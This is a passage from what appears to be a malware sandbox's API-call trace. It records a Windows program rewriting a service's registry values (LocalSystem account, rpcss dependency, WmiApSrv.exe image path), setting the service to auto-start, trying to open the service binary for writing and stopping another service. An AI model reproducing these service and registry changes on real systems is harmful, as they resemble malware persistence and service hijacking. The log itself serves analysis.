lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0253.704] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0253.704] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0253.704] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0253.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0253.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0253.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0253.704] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.704] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.704] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0253.704] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0253.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0253.705] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0253.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0253.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0253.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0253.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0253.706] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.706] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0253.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0253.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0253.706] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0253.707] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0253.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0253.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0253.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0253.708] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0253.708] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0253.708] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0253.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0253.708] LocalFree (hMem=0x7f03d0) returned 0x0 [0253.708] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0253.708] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x803990 [0253.709] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.710] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.711] RegCloseKey (hKey=0xc4) returned 0x0 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.711] RegCloseKey (hKey=0x14c) returned 0x0 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.711] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.711] GetLastError () returned 0x20 [0253.711] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.712] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.712] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.712] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x8038a0 [0253.712] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.713] GetLastError () returned 0x425 [0253.713] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.716] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 